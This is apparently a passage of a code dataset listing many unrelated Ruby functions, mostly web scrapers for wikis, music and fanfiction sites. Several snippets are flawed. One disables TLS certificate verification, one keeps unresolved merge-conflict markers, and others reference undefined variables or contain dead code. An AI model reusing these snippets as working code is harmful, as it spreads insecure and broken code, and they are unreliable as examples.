end", "def wikipedia_summary_each(url, para_numbers)\n if !para_numbers.kind_of?(Array)\n para_numbers = para_numbers.to_s.scan( /\\d+/ )\n end\n doc = Hpricot open(url)\n section = para_numbers.inject(\"\") do |para, para_number|\n para += doc.at(\"p[\"+para_number.to_s+\"]\").to_html.gsub(/<\\/?[^>]*>/, \"\") + \" \"\n end\n return section.strip\n rescue Exception\n return nil\n end", "def get_detailed_info(html)\n result = {}\n page = Nokogiri::HTML(html)\n result[:img] = extract_image(page)\n # No easy identifiers, so get where the section starts, where the next section starts, and look at all tables in between\n # TODO: Use XPath to use less code\n start_elem = page.css('span.mw-headline[id^=\"Persona_3\"]').last\n elem = start_elem.parent.next\n until elem.name == 'h3' || elem.name == 'h2' || elem.nil? # Reached next game, next section or EOF\n if elem.name == 'table'\n result.merge!(extract_table_info elem)\n elsif elem.name == 'div' && elem[:class] =~ /tabber/\n elem.css('.tabbertab > table').each do |table|\n result.merge!(extract_table_info table)\n end\n end\n\n elem = elem.next\n end\n\n result\n end", "def get_items_in_page page, text\n while (is_available(page)) do\n begin\n get_all_infos(page, text)\n rescue\n end\n\n page = get_next_page(page)\n end\nend", "def get_items_in_page page, text\n while (is_available(page)) do\n begin\n get_all_infos(page, text)\n rescue\n end\n\n page = get_next_page(page)\n end\nend", "def get_items_in_page page, text\n while (is_available(page)) do\n begin\n get_all_infos(page, text)\n rescue\n end\n\n page = get_next_page(page)\n end\nend", "def get_items_in_page page, text\n while (is_available(page)) do\n begin\n get_all_infos(page, text)\n rescue\n end\n\n page = get_next_page(page)\n end\nend", "def get_headline_and_first_paragraph(results)\n\n headline_and_lead_paragraph = {}\n\n nyt_results[\"response\"][\"docs\"].each do |result|\n headline_and_lead_paragraph[result[\"headline\"]] = result[\"first_paragraph\"]\n end\nend", "def info\n\t\treturn \"\"\n\t\tp = localized_page\n\t\treturn \"\" unless p && p.content\n\t\tlogger.debug \"parsing page #{p.title}\"\n\t\t\t\n\t\t# extract the top-most section (the one before any ToC)\n\t\tc = WikiCloth::Parser.new({ :data => WikiParser::sanitize(p.content) })\n\t\tc = c.sections.first\n\t\t\n\t\tl = I18n.locale\n\t\tret = WikiParser.new({ :data => c }).to_html\n\t\t#I18n.locale = l\n\t\treturn ret\n\tend", "def thread_main\r\n # We'll do this in a loop until the list is finished\r\n loop do\r\n # Wrap this in a try-catch just in case\r\n begin\r\n\t # Getting the name\r\n\t name = $arr[$ind]\r\n\t return if name.nil?\r\n\t $ind += 1\r\n\t # Getting the parsed page contents\r\n\t body = JSON.parse(\r\n\t HTTParty.get(\r\n\t\t \"http://community.wikia.com/api.php\",\r\n\t\t :query => {\r\n\t\t :action => \"query\",\r\n\t\t :prop => \"revisions\",\r\n\t\t :titles => name.strip.scrub,\r\n\t\t :rvprop => \"content\",\r\n\t\t :rvparse => 1,\r\n\t\t :format => \"json\"\r\n\t\t }\r\n\t ).body,\r\n\t :symbolize_names => true\r\n\t )\r\n\t pages = body[:query][:pages]\r\n\t # Finding if the page has redlinks and which are they\r\n\t split = pages[pages.keys[0]][:revisions][0][:\"*\"].split(\"<a href=\\\"/wiki/\")\r\n\t split.each {|s|\r\n\t matches = /\\?action=edit&amp;redlink=1\" class=\"new\" title=\"(.*) \\(page does not exist\\)\"/.match(s)\r\n\t $res << matches.captures[0] if matches\r\n\t }\r\n rescue Exception => e\r\n\t # If error happens I want to know\r\n puts(e)\r\n end\r\n end\r\nend", "def parsetitle( titles, type, parentid )\n\n apiurl='http://en.wikipedia.org/w/api.php'\n\n ## resulthash\n links=Hash.new\n\n #### First query, no plcontinue\n query = { \n 'action'=>'query',\n 'prop'=>'info',\n 'redirects'=>'',\n 'inprop'=>'url',\n 'format'=>'json',\n }\n\n ### Separate by type\n case type\n when 0 \n #### seed\n continueterm='incontinue'\n query['titles'] = titles\n\n when 1 \n #### links\n continueterm='gplcontinue'\n linksterm='links'\n query['generator']=linksterm\n query['titles'] = titles\n query['gplnamespace'] = '0'\n query['gpllimit'] = 'max'\n \n when 2\n #### backlinks\n continueterm='gblcontinue'\n linksterm='backlinks'\n query['gbltitle'] = titles\n query['generator'] = 'backlinks'\n query['gblnamespace'] = '0'\n query['gbllimit'] = 'max'\n\n else \n puts \"This shouldn't happen.\"\n exit -1\n end\n # puts query\n # exit;\n \n\n postData = Net::HTTP.post_form(URI.parse(apiurl), query);\n \n ## parse and save result\n result = JSON.parse(postData.body)\n pages=result[\"query\"][\"pages\"].keys\n<<<<<<< HEAD\n \n=======\n\n i=0\n>>>>>>> ff128337f961ce2c8d1c7273ff20bd093e5188a6\n result[\"query\"][\"pages\"].each do |page|\n if page[1][\"title\"] != nil and page[1][\"length\"] != nil\n links[page[1][\"title\"]] = { \n \"length\" => page[1][\"length\"], \n \"url\"=>page[1][\"fullurl\"],\n \"pageid\"=>page[1][\"pageid\"],\n \"parentid\"=>parentid \n }\n<<<<<<< HEAD\n=======\n i=i+1;\n # if i>5 \n # break\n # end\n>>>>>>> ff128337f961ce2c8d1c7273ff20bd093e5188a6\n end\n end\n \n ### Keep going?\n while true\n if result[\"query-continue\"] == nil\n ##puts \"breaking\"\n break\n end\n ##puts \"didn't break\" \n \n plcontinue=result[\"query-continue\"][linksterm][continueterm]\n ## puts plcontinue\n query[continueterm] = plcontinue\n\n postData = Net::HTTP.post_form(URI.parse(apiurl), query);\n result = JSON.parse(postData.body)\n \n pages=result[\"query\"][\"pages\"].keys\n\n result[\"query\"][\"pages\"].each do |page|\n if page[1][\"title\"] != nil and page[1][\"length\"] != nil\n links[page[1][\"title\"]] = { \n \"length\" => page[1][\"length\"], \n \"url\"=>page[1][\"fullurl\"],\n \"pageid\"=>page[1][\"pageid\"],\n \"parentid\"=>parentid \n }\n end\n end\n end\n \n return links\nend", "def learnmore \r\n\tcurrentpage = 0\r\n\tpage1 = \"\r\n╔═════════════════════════════════════════════════════════════════════════╗\r\n║ ║\r\n║ Habit Tracker is a program that helps people build habits. Habit ║ \r\n║formation is the process by which new behaviors become automatic. If you ║\r\n║instinctively reach for a cigarette the moment you wake up in the ║\r\n║morning, you have a habit. By the same token, if you feel inclined to ║\r\n║lace up your running shoes and hit the streets as soon as you get home, ║\r\n║you've acquired a habit. ║\r\n║ Old habits are hard to break and new habits are hard to form. That's ║\r\n║because the behavioral patterns we repeat most often are literally etched║\r\n║into our neural pathways. The good news is that, through repetition, it's║\r\n║possible to form—and maintain—new habits. ║\r\n║ ║\r\n║ 1. Back to menu 2. Keep reading ║\r\n║ ║\r\n╚═════════════════════════════════════════════════════════════════════════╝\"\r\n\tpage2 = \"\r\n╔═════════════════════════════════════════════════════════════════════════╗\r\n║ ║\r\n║Habit Tracker helps you to: ║\r\n║Commit for a Set Time – Some research says three to four weeks is all the║\r\n║time you need to make a habit automatic. If you can make it through the ║\r\n║initial conditioning phase, it becomes much easier to sustain. ║\r\n║ ║\r\n║Set Reminders – Consistency is critical if you want to make a habit ║\r\n║stick. If you want to start exercising, go to the gym every day for your ║\r\n║first thirty days. Going a couple times a week will make it harder to ║\r\n║form the habit. Activities you do once every few days are trickier to ║\r\n║lock in as habits. ║\r\n║ ║\r\n║ 1. Back to menu 2. Previous Page 3. Keep reading ║\r\n║ ║\r\n╚═════════════════════════════════════════════════════════════════════════╝\"\r\n\tpage3 = \"\r\n╔═════════════════════════════════════════════════════════════════════════╗\r\n║ ║\r\n║Habit Tracker helps you to: ║\r\n║Stay Consistent – The more consistent your habit the easier it will be to║\r\n║stick. If you want to start exercising, try going at the same time, to ║\r\n║the same place. When cues like time of day, place and circumstances are ║\r\n║the same in each case it is easier to stick. ║\r\n║ ║\r\n║Get a Buddy – Find someone who will go along with you and keep you ║\r\n║motivated if you feel like quitting. ║\r\n║ ║ \r\n║Make a Plan - Planing how you are going to make your behavior a lifestyle║ \r\n║will allow you to eliminate distractions and help you stick to your ║\r\n║commitments. ║\r\n║ ║\r\n║ 1. Back to menu 2. Previous Page ║\r\n║ ║\r\n╚═════════════════════════════════════════════════════════════════════════╝\"\r\n\tpages = [page1, page2, page3]\r\n\t\r\n\texitloop = false\r\n\tuntil exitloop\r\n\t\tputs pages[currentpage]\r\n\t\tinput = gets.chomp\r\n\t\tif input == \"1\"\r\n\t\t\texitloop = true\r\n\t\t\tintro()\t\t\r\n\t\telsif input == \"2\"\r\n\t\t\tif currentpage == 0\r\n\t\t\t\tcurrentpage += 1 \r\n\t\t\telse\r\n\t\t\t\tcurrentpage -= 1\r\n\t\t\tend \r\n\t\telsif input == \"3\"\r\n\t\t\tif currentpage == 1\r\n\t\t\t\tcurrentpage += 1 \r\n\t\t\telse\r\n\t\t\t\tputs \"Enter 1 to go to the main menu or 2 to continue reading about Habit Tracker.\"\r\n\t\t\tend\r\n\t\telse\r\n\t\t\tif currentpage == 0\r\n\t\t\t\tputs \"Enter 1 to go to the main menu or 2 to continue reading about Habit Tracker.\"\r\n\t\t\telsif currentpage == 1\r\n\t\t\t\tputs \"Enter 1 to go to the main menu, 2 to go to the previous page, or 3 to continue reading about Habit Tracker.\"\r\n\t\t\telsif currentpage == 2\r\n\t\t\t\tputs \"Enter 1 to go to the main menu or 2 to go to the previous page.\"\t\r\n\t\t\tend \t\t\t\t\t\r\n\t\tend\t\r\n\tend\t\r\nend", "def parse_moreinfo\n if @input.match?(/Tov.* ld\\.:\\n/)\n @ast[\"moreinfo\"] = @input.scan_until(/^\\n/)\n end\n end", "def extract_description(info_url)\n agent = Mechanize.new\n agent.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n page = agent.get(info_url)\n\n # The horrible thing about this page is they use tables for layout. Well done!\n # Also I think the \"Intended use\" bit looks like the most useful. So, we'll use that for the description\n table = page.at('div#bodypadding table')\n # For some reason occasionaly this page can be entirely blank. If it is just do our best and continue\n if table\n table.search('table')[1].search('tr').find do |row|\n # <th> tag contains the name of the field, <td> tag contains its value\n row.at('th') && row.at('th').inner_text.strip == \"Intended use\"\n end.at('td').inner_text.strip\n end\nend", "def get_description(n)\n description = Nokogiri::HTML(super(n)).text\n if description.include?(\"IF YOU GO\")\n description = description.split(\"IF YOU GO\")[0]\n description = description.split(\" \")[3..-1].join(\" \") # remove \"by 'author name'\"\n description.slice!(\"[ Subscribe to the comments on this story ] \")\n description\n else\n nil\n end\n end", "def parse_doc(doc)\n doc.xpath('//div[@class = \"z-list\"]').each do |node|\n\n story_content = Hash.new\n\n # get an array of the all the links\n links = Array.new\n node.xpath('./a').each do |link_node|\n links.push(link_node)\n end\n # the first link is the title\n story_content[\"title\"] = links[0].content\n\n # get story id\n url_split = links[0]['href'].split('/')\n story_content['ff_id'] = url_split[url_split.length-3]\n\n # the last link is reviews link or the author link\n last_link = links[links.length-1]\n # remove the link if its a review link\n if ((last_link.content <=> \"reviews\") == 0)\n # remove it and do it again\n links.pop()\n last_link = links[links.length-1]\n end\n\n # Set the author\n author_name = last_link.content\n author_url_split = last_link['href'].split('/')\n author_ff_id = author_url_split[author_url_split.length-2]\n story_content['author'] = generate_author(author_name, author_ff_id)\n\n # get the gray section (details)\n gray = \"\"\n node.xpath('./div//div').each do |div_node|\n gray=div_node.content\n # remove the node for the summary later\n div_node.remove\n end\n\n details = gray.split(\" - \")\n\n tags = Hash.new\n # split each of those by :\n count = 1\n story_content['reviews'] = '0'\n details.each do |detail|\n detail_split = detail.split(\":\")\n # If there is nothing in the second one that it isn't a set\n if(detail_split[1] != nil)\n story_content[detail_split[0].downcase] = detail_split[1].strip\n else# we need to do something differnt\n # complete status\n if ((detail_split[0] <=> \"Complete\") == 0)\n story_content['complete'] = true\n # language\n elsif count == 2\n story_content['language'] = detail_split[0]\n # Theme\n elsif count == 3\n story_content['theme'] = detail_split[0].split(\"/\")\n end\n\n # Main Characters\n if (count == details.length)\n if (details[details.length-1] <=> \"Complete\") != 0\n # story isn't complete characters are the last one (or published)\n detail_split = detail.split(\":\")\n if !detail_split[1] # Not published there are no characters\n story_content['characters'] = detail_split[0].split(\" & \")\n end\n else\n # story is complete characters are the second to last one\n detail_split = details[details.length-2].split(\":\")\n if !detail_split[1] # Not published there are no characters\n story_content['characters'] = details[details.length-2].split(\" & \")\n end\n end\n end\n\n # defaulting to false if complete isn't set\n if story_content['complete'] != true\n story_content['complete'] = false\n end\n end\n count+=1\n end\n\n # get the summary\n node.xpath('./div').each do |summary_node|\n story_content['summary'] = summary_node.content\n end\n\n generate_story(story_content)\nend\n\n\n\n#\n# Stores a datastructure with the list of the current ships\n#\ndef update_ships\n # A data structure to store the ships in\n\n ships = [\n [\"Brittana\", [\"Brittany P.\", \"Santana L.\"]],\n [\"Faberry\", [\"Quinn F.\", \"Rachel B.\"]],\n [\"Flanamotta\", [\"Rory F.\", \"Sugar\"]],\n [\"Sory\", [\"Rory F.\", \"Sam E.\"]],\n [\"Seblaine\", [\"Sebastian S.\", \"Blaine A.\"]],\n [\"Santofsky\", [\"D. Karofsky\", \"Santana L.\"]],\n [\"Bartie\", [\"Brittany P.\", \"Artie A.\"]],\n [\"Tike\", [\"Mike C.\", \"Tina C.\"]],\n [\"Pezberry\", [\"Santana L.\", \"Rachel B.\"]],\n [\"Pizes\", [\"Lauren Z.\", \"Puck\"]],\n [\"St. Berry\", [\"Jesse sJ.\", \"Rachel B.\"]],\n [\"Kill\", [\"Kurt H.\", \"Will S.\"]],\n [\"Puckurt\", [\"Kurt H.\", \"Puck\"]],\n [\"Artina\", [\"Tina C.\", \"Artie A.\"]],\n [\"Partie\", [\"Puck\", \"Artie A.\"]],\n [\"Blainofskyve\", [\"Blaine A.\", \"D. Karofsky\"]],\n [\"Klaine\", [\"Kurt H.\", \"Blaine A.\"]],\n [\"Hummelberry\", [\"Kurt H.\", \"Rachel B.\"]],\n [\"Furt\", [\"Kurt H.\", \"Finn H.\"]],\n [\"Pinn\", [\"Puck\", \"Finn H.\"]],\n [\"Samcedes\", [\"Sam E.\", \"Mercedes J.\"]],\n [\"Artcedes\", [\"Artie A.\", \"Mercedes J.\"]],\n [\"Finchel\", [\"Finn H.\", \"Rachel B.\"]],\n [\"Puckleberry\", [\"Puck\", \"Rachel B.\"]],\n [\"Wemma\", [\"Will S.\", \"Emma P.\"]]\n ]\n\n ships.each do |ship_data|\n ship = Ship.find_by_name(ship_data[0])\n\n # Make sure the ship doesn't already exist\n if !ship\n\n # create a new ship\n ship = Ship.new()\n ship.name = ship_data[0]\n ship.save\n\n # For each character in the ship\n ship_characters = ship_data[1]\n generate_log(\"Generating New Ship: #{ship_data[0]} between #{ship_data[1]}\")\n ship_characters.each do |ship_character|\n character = generate_character(ship_character)\n # Save the relationship\n relationship = Relationship.new()\n relationship.ship = ship\n relationship.character = character\n relationship.save\n\n end\n else\n ship.update_attributes(:name => ship_data[0])\n ship.save\n generate_log(\"Updating: #{ship_data[0]} between #{ship_data[1]}\")\n\n\n end\n end\nend\n\n\nend", "def parse_moreinfo\n if @input.match?(/Tov.* ld\\.:\\n/)\n p(\"whois.nic.hu: parse_moreinfo\") if 1 == 2 || $DEBUG\n @ast[\"moreinfo\"] = @input.scan_until(/^\\n/)\n end\n end", "def getLastFmWebData altnet_name\n #altnet_name = \"Beyoncé\" \n url = getLastFmWebDataUrl(altnet_name)\n #url = \"http://www.google.com\"\n puts url\n #document = Hpricot(open (\"http://www.last.fm/music/\" + url_encoded_string +\"/+similar\", \"User-Agent\" => \"great\", :proxy=>\"http://208.43.250.128:3128/\"))\n document = Hpricot(open(url, \"User-Agent\" => getUseragent(), :proxy=>getProxy()))\n #document = Hpricot(open (url))\n ar = document.search(\"//ul[@class='artistsWithInfo']\");\n #print ar\n if (ar.empty?)\n #puts \"empty\"\n return ar\n end\n \n #puts \"ar:\" + ar.length.to_s\n url = url + \"?page=2\"\n #puts url\n #document = Hpricot(open (url))\n document = Hpricot(open(url, \"User-Agent\" => getUseragent(), :proxy=>getProxy()))\n ar1 = document.search(\"//ul[@class='artistsWithInfo']\");\n #puts \"ar1:\" + ar1.length.to_s\n ar = ar + ar1\n #puts \"ar\" + ar.length.to_s\n \n \n #if ar.empty\n #print ar\n return ar\n end", "def trip(url, steps=10)\n so_far = [] # (3) \n\n steps.times do \n page = fetch(url)\n book_info = scrape_book_info(page)\n so_far << book_info[:title]\n puts format_output(book_info)\n \n next_book = scrape_affinity_list(page).find do | possible | # (4) \n not so_far.include?(possible[:title])\n end\n\n url = next_book[:url]\n end\nend", "def extract_data( page )\n strip_tags page[:content]\n\n #extract_concepts( page[:title] , page , LOC_TITLE ) if page[:title] && page[:title] !=~ PTN_EMPTY\n if page[:tag] && page[:tag] !=~ PTN_EMPTY\n page[:tag] = page[:tag].split(SEP_TAG).map{|e|\"[[\"+e+\"]]\"}.join(\";\")\n extract_concepts( page[:tag] , page , LOC_TAG )\n end\n\n extract_concepts( page[:title] , page , LOC_TITLE)\n extract_concepts( page[:content] , page )\n extract_resources( page[:content] , page )\n end", "def read_info\n msgs_left = ::FFI::MemoryPointer.new(:int)\n while not (msg = Curl.multi_info_read(@handle, msgs_left)).null?\n next if msg[:code] != :done\n\n easy = @easy_handles.find {|easy| easy.handle == msg[:easy_handle] }\n next if not easy\n\n response_code = ::FFI::MemoryPointer.new(:long)\n response_code.write_long(-1)\n Curl.easy_getinfo(easy.handle, :response_code, response_code)\n response_code = response_code.read_long\n remove(easy)\n\n easy.curl_return_code = msg[:data][:code]\n if easy.curl_return_code != 0 then easy.failure\n elsif (200..299).member?(response_code) or response_code == 0 then easy.success\n else easy.failure\n end\n end\n end", "def read_success(novel)\n case novel\n when \"Best Submissions\" then\n page(MorePage).select_more_actions(\"Best Submissions\")\n page(MorePage).page_handler(\"Best Submissions\")\n page(FeedDetailsPage).touch_row\n page(MorePage).page_handler(\"Submission\")\n page(MorePage).backpage\n page(MorePage).backpage\n when \"Active Discussions\" then\n page(MorePage).select_more_actions(\"Active Discussions\")\n page(MorePage).page_handler(\"Active Discussions\")\n page(FeedDetailsPage).touch_row\n page(MorePage).page_handler(\"Active\")\n page(MorePage).story_time\n page(MorePage).backpage\n page(MorePage).backpage\n page(MorePage).page_handler(\"Active Discussions\")\n page(MorePage).backpage\n when \"archived submissions\" then\n page(MorePage).select_more_actions(\"Classic View\")\n page(MorePage).page_handler(\"Classic View\")\n page(FeedDetailsPage).touch_row\n page(MorePage).page_handler(\"Submission\")\n page(MorePage).table_view\n page(MorePage).find_item\n page(MorePage).backpage\n page(MorePage).page_handler(\"Classic View\")\n page(MorePage).backpage\n end\nend", "def wikipedia_summary(url)\n doc = Nokogiri::HTML(open(url))\n first_para_html = doc.search('//p').first.to_s # .gsub(/<\\/?[^>]*>/, \"\")\n return Sanitize.clean(first_para_html)\n rescue Exception\n return nil\n end", "def more_info(selector, array)\n target_celeb_url = array[selector-1][:info_link]\n know_more = GoShawty::CelebrityMaker.scrape_celeb_page(target_celeb_url)\n\n puts \"#{know_more.age}\\n#{know_more.born}\\n#{know_more.died}\\n#{know_more.birthplace}\"\n puts \"\\n\\n\"\n puts \"#{know_more.bio}\\n\"\n\n puts \"\\n** Do you want to know more about another (P)erson who shares this birthday, check on a (D)ifferent birthday, or (E)xit?\"\n\n input = gets.strip\n\n if /p/i === input\n list_celebrities\n elsif /d/i === input\n self.date_input\n else\n goodbye\n end\n end", "def scrape(para)\n # need SECTION & PLACENAME from para\n # need to follow embedded href to get DESCRIPTION\n links = para.css(\"a\")\n # puts links.length\n # puts links.text\n\n # grabs href from anchor elements\n links.each{|links| puts links['href']}\n #grabs title from anchor elements\n links.each{|links| puts links['title']}\nend", "def scrape(para)\n # need SECTION & PLACENAME from para\n # need to follow embedded href to get DESCRIPTION\n links = para.css(\"a\")\n # puts links.length\n # puts links.text\n\n # grabs href from anchor elements\n links.each{|links| puts links['href']}\n #grabs title from anchor elements\n links.each{|links| puts links['title']}\nend", "def wikipedia_summary(url)\n doc = Nokogiri::HTML(URI.parse(url).open)\n first_para_html = doc.search('//p').first.to_s # .gsub(/<\\/?[^>]*>/, \"\")\n Sanitize.clean(first_para_html)\n rescue Exception\n nil\n end", "def get_info(i, url)\n\n def displayed?(locator)\n locs=[]\n locs = @driver.find_elements(:css,locator)\n if locs.length>0\n return true\n else\n return false\n end\n end\n puts i\n presentation = @driver.title\n\n # presenter name locators are not consistent from page to page so have to check which locator to use to get presenter name\n if displayed?(\"#gallery > div.ad-image-wrapper > div.ad-image > div.ad-image-description > h2 > a\")\n presenter_locator = @driver.find_element(:css,\"#gallery > div.ad-image-wrapper > div.ad-image > div.ad-image-description > h2 > a\")\n elsif displayed? (\"#content_responsive > div.content_grey > div > div:nth-child(1) > div.presenter_col.col-sm-5.col-md-3 > div.presenter_meta > div.member_info > h2 > a\")\n presenter_locator = @driver.find_element(:css, \"#content_responsive > div.content_grey > div > div:nth-child(1) > div.presenter_col.col-sm-5.col-md-3 > div.presenter_meta > div.member_info > h2 > a\")\n elsif displayed?(\"#gallery > div.ad-image-wrapper > div.ad-image > div.ad-image-description > h2\")\n presenter_locator = @driver.find_element(:css,\"#gallery > div.ad-image-wrapper > div.ad-image > div.ad-image-description > h2\")\n else\n presenter_locator = @driver.find_element(:css, \"#content_responsive > div.content_grey > div > div:nth-child(1) > div.presenter_col.col-sm-5.col-md-3 > div.presenter_meta > div.member_info > h2\")\n end\n presenter = presenter_locator.text\n\n presenter_organization = @driver.find_element(:css,\".presenter\").text\n\n views_locator = @driver.find_element(:css, \"#content_responsive > div.content_grey > div > div:nth-child(2) > div.col-sm-12.col-md-3.hidden-xs.hidden-sm > div.social_panel > div > div:nth-child(1) > h3\")\n views = views_locator.text\n\n# NSF grans are links while non-NSF grants are not links. The first condition finds all the grants the are links. The second just finds the p element with the list of non-link grants and returns them as one unit.\n if displayed? (\"#abstract_scroll > p:nth-child(2) > a\")\n grant_list = @wait.until{@driver.find_elements(css: \"#abstract_scroll > p:nth-child(2) > a\")}\n has_link=true\n grant_list_length = grant_list.length\n else\n grant_list = @wait.until{@driver.find_element(css: \"#abstract_scroll > p:nth-child(2)\" )}\n grant_list_length = 1\n end\n # puts \"grant_list is #{grant_list}. grant_list_length is #{grant_list_length}\"\n\n\n if has_link #checks to see if the grants are links and gets each text individually. Otherwise return the enter p element regardless of how many grants there are\n case grant_list_length\n when 1\n grant_1 = @wait.until{@driver.find_element(:css, \"#abstract_scroll > p:nth-child(2) > a\").text} #abstract_scroll > p:nth-child(2) > a\n grant_2 = \"\"\n grant_3 = \"\"\n when 2\n grant_1 = @wait.until{@driver.find_element(:css, \"#abstract_scroll > p:nth-child(2) > a:nth-child(1)\").text}\n grant_2 = @wait.until{@driver.find_element(:css, \"#abstract_scroll > p:nth-child(2) > a:nth-child(2)\").text}\n grant_3 = \"\"\n when 3\n grant_1 = @wait.until{@driver.find_element(:css, \"#abstract_scroll > p:nth-child(2) > a:nth-child(1)\").text}\n grant_2 = @wait.until{@driver.find_element(:css, \"#abstract_scroll > p:nth-child(2) > a:nth-child(2)\").text}\n grant_3 = @wait.until{@driver.find_element(:css, \"#abstract_scroll > p:nth-child(2) > a:nth-child(3)\").text}\n end\n else grant_1 = @wait.until{@driver.find_element(css: \"#abstract_scroll > p:nth-child(2)\" ).text}\n end\n\n discussions = @wait.until{@driver.find_element(:css, \"#panel-mc-count\").text.tr('()','').to_i}\n kw_list=@wait.until{@driver.find_elements(:css, \".kw\")}\n kw_list_length = kw_list.length\n kw_first = 2\n # puts \"ks_list_length is #{kw_list_length}\"\n\n case kw_list_length\n when 1\n keyword_1 = @wait.until{@driver.find_element(:css, \"#panel_video > div.presentation_extra > a:nth-child(2)\").text}\n keyword_2 = \"\"\n keyword_3 = \"\"\n when 2\n keyword_1 = @wait.until{@driver.find_element(:css, \"#panel_video > div.presentation_extra > a:nth-child(2)\").text}\n keyword_2 = @wait.until{@driver.find_element(:css, \"#panel_video > div.presentation_extra > a:nth-child(3)\").text}\n keyword_3 = \"\"\n when 3\n keyword_1 = @wait.until{@driver.find_element(:css, \"#panel_video > div.presentation_extra > a:nth-child(2)\").text}\n keyword_2 = @wait.until{@driver.find_element(:css, \"#panel_video > div.presentation_extra > a:nth-child(3)\").text}\n keyword_3 = @wait.until{@driver.find_element(:css, \"#panel_video > div.presentation_extra > a:nth-child(4)\").text}\n end\n\n puts \"Presentation is #{presentation}, Grant_1 is #{grant_1}, Grant_2 is #{grant_2}, Grant_3 is #{grant_3}, Num Views is #{views}, Discussions is #{discussions}, Keyword_1: #{keyword_1}, Keyword_2: #{keyword_2}, Keyword_3: #{keyword_3}, url is #{url}\"\n view_num = views.to_i\n write_to_file(i,presenter, presenter_organization, presentation, grant_1, grant_2, grant_3, view_num, discussions, keyword_1,keyword_2, keyword_3, url)\nend", "def completed_text_extraction\n end", "def leech_story_info\n doc = Nokogiri::HTML(open(\"#{FicSourceURL}/s/#{@fic_id}\"), \"UTF-8\") \n # get author name\n author = doc.xpath(\"//table[@id='gui_table1i']/tbody/tr[1]/td[1]/a[1]\").first.inner_text\n # get story title\n title = doc.xpath(\"//table[@id='gui_table1i']/tbody/tr[1]/td[1]/b[1]\").first.inner_text\n {:title => title, :author => author}\n end", "def extract(file,myurl)\n STDERR.puts \"# Scanning: #{myurl} via file:#{file}\"\n doc=\"\"\n dct='http://purl.org/dc/terms/'\n # rdf = \"<dc:Document rdf:about='#{myurl}' xmlns:dc='http://purl.org/dc/terms/' xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>\\n\"\n nt = ''\n File.read(file).each do |x| \n doc += x\n end\n doc.gsub!(/\\n/, \"\")\n doc.gsub!(/\\s+/, \" \")\n\n if (doc =~ /<title>\\s*([^<]*)\\s*<\\/title>/) \n # puts \"title: #{$1}\"\n t = $1\n t.gsub!(/\\s*$/,\"\")\n nt += \"<#{myurl}> <#{dct}title> \\\"#{t}\\\" . \\n\"\n end\n doc.scan(/<meta name=\"([^\"]*)\" con∫tent=\"([^\"]*)\"\\s*\\/>/) do\n p=$1\n v=$2\n p.downcase!\n puts \"#{p}: #{v}\" \n end\n doc.scan(/<div\\s+class=\"arr\">\\s*<a\\s+href=\"([^\"]*)\">\\s*([^<]*)\\s*<\\/a>\\s*<\\/div>/) do\n rt = $2\n rl = $1\n n = normal(file,rl)\n # puts \"# Starting dotfix with #{n}\"\n n = dotfix(n)\n n.chomp!\n nt += \"<#{myurl}> <#{dct}relation> <#{n}> .\\n\"\n rt.chomp!\n rt.gsub!(/\\s*$/,\"\")\n nt += \"<#{n}> <#{dct}title> \\\"#{rt}\\\" .\\n\"\n end\n puts \"\\n\"\n puts nt\nend", "def process_markup()\n [title,content].each do |text|\n next if !text\n clear_webpage(text).scan(PTN_MARKUP).map{|e|e[0].split(PTN_ELEMENT_SEP)}.flatten.each do |element|\n #debug \"[process_markup] element: \"+element.inspect\n next if !element\n ptn = element.scan(PTN_METADATA)\n #debug \"[process_markup] ptn: \"+ptn.inspect\n if ptn.size > 0\n m[ptn[0][0].to_sym] = parse_value(ptn[0][1])\n else\n create_and_link(element, 'tag' , \"t\")\n #add_tags(element, \"m\")\n end\n end#scan\n end#each\n end", "def parse_data(page)\n if $debug\n puts 'Opening local file.'\n begin\n f = File.open(\"html/research-it.html\")\n doc = Nokogiri::HTML(f)\n f.close\n rescue\n puts \"Failed to open research-it.html file.\"\n end\n else\n puts \"Opening: #{page}\"\n doc = Nokogiri::HTML(open(page))\n end\n\n doc.xpath('//h3/a').each do |record|\n url = record['href']\n name = record.content\n $lessons[url] = {}\n $lessons[url]['name'] = name\n page = Nokogiri::HTML(open(url))\n desc = page.xpath('//p')[1].content\n if desc == ''\n $lessons[url]['short_description'] = 'No description available at this time.'\n else\n $lessons[url]['short_description'] = desc\n end\n end\n\nend", "def search_description_scrape\n @doc.search('.muted a').first(10).each do |description|\n @descriptions << description.text\n end\n check_for_results\n end", "def get_info\n puts \"#{@title} by #{@author} is #{@status}.\"\n if @description\n puts \"#{@title} description: #{@description}.\"\n end\n end", "def extract_data(link)\n page = link.click.link_with(text: 'Comisiones').click\n subj_title = page.css('div.tab-panel')[0].css('span')\n print \"#{subj_title[0].text} - #{subj_title[1].text}\\n\"\n dt = DataExtractor.new(Subject.new(subj_title[0].text, subj_title[1].text))\n begin\n page.css('div.tab-panel')[0].xpath('//text()').each do |tag|\n txt = tag.text.strip\n dt.handle_event(:comision, txt) if /^[A-Z]+$/.match(txt)\n if /(Lunes|Martes|Miércoles|Jueves|Viernes|Sábado|Domingo)/.match(txt)\n dt.handle_event(:dia, txt)\n end\n dt.handle_event(:hora, txt) if /^[0-9]+:[0-9]+$/.match(txt)\n end\n return dt.subject\n rescue StandardError\n return Subject.new(subj_title[0].text, subj_title[1].text)\n end\nend", "def build_prosecution(attrs, page)\n doc = Nokogiri::HTML(page.body) {|c| c.noblanks}\n elements = doc.search('div.wysiwyg').first.children\n header = elements.search(\"//a[@id='#{attrs['id']}']\").first.parent\n\n els = [header]\n current = header.next\n until current.nil? || current.name == 'h3' do\n els << current\n current = current.next\n end\n\n if more_attrs = extract_attrs(els)\n puts \"Extracting #{more_attrs['address']}\"\n attrs.merge(more_attrs)\n else\n nil\n end\nend", "def getImageUrlAndDetails(story_url, provider_id, category_id, b_related)\n\tstory_content_html = Nokogiri::HTML(open(story_url))\n\t\n\t## El Masry El Youm\n\tif provider_id == 1\n\t\n\t\t## Image Parsing\n\t\tbegin\n\t\t\timage_div_id = \"articleimg\"\n\t\t\timage_url = story_content_html.css('div.'+ image_div_id).css('img').attribute('src').to_s\n\t\trescue \n \t\t\timage_url = \"\" \n\t\tend\n\t\n\t\t## Details Parsing\n\t\t# get div with id 'arabic-news'\n\t\t# from it get div class 'pane-content'\n\t\tdetails_div_id = \"NewsStory\"\n\t\tdetails = story_content_html.css('div#'+ details_div_id).text.strip\n\t#\tputs details\n\t\n\t\t## Related Parse\n\t\tif 